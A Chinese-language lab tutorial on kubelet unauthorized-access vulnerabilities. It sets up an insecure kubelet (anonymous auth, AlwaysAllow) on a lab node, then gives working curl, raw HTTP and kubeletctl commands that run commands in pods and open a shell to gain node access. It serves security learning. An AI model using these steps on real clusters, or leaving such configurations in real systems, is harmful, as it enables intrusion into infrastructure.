未授权一直是一个老生常谈的问题,云安全中也不可避免,本篇介绍kubelet的相关未授权漏洞
kubelet 是k8s工作节点上的一个代理组件,主要功能是:
kubelet 会开放4个端口,10250,10255,10248,4194(1.12版本已删除,由10250统一管理)
端口 | 作用 |
---|---|
10250 | kubelet与apiserver通信的的端口,定期请求apiserver获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态 |
10248 | 判断kubelet是否正常工作 |
4194 | 通过此端口可以获取到该节点的环境信息以及node上运行容器状态 |
10255 | 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权 |
修改/var/lib/kubelet/config.yaml,新增如下内容,在最后一行加就行:
readOnlyPort: 10255
address: 0.0.0.0
systemctl restart kubelet
10255 只读端口,仅涉及到信息泄露问题。
泄露信息包括节点信息,以及namespace
启动配置
修改/var/lib/kubelet/config.yaml,将anonymous修改为true
然后将认证从Webhook改为 AlwaysAllow
重启一下即可
systemctl restart kubelet
首先直接访问 https://192.168.247.156:10250/runningpods/ 这里需要注意的是https
curl -XPOST -k "https://192.168.247.156:10250/run/kube-system/kube-proxy-flbc8/kube-proxy" -d "cmd=whoami"
首先是namespace/podname/containers
直接burp也行:
POST /run/kube-system/kube-proxy-flbc8/kube-proxy HTTP/1.1
Host: 192.168.247.156:10250
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
cmd=id
https://github.com/cyberark/kubeletctl
这个工具还是有那么好用
可以通过kubeletctl.exe --server 192.168.247.156 -p kube-flannel-ds-jndfl -c kube-flannel -n kube-flannel exec "/bin/bash"
获取node权限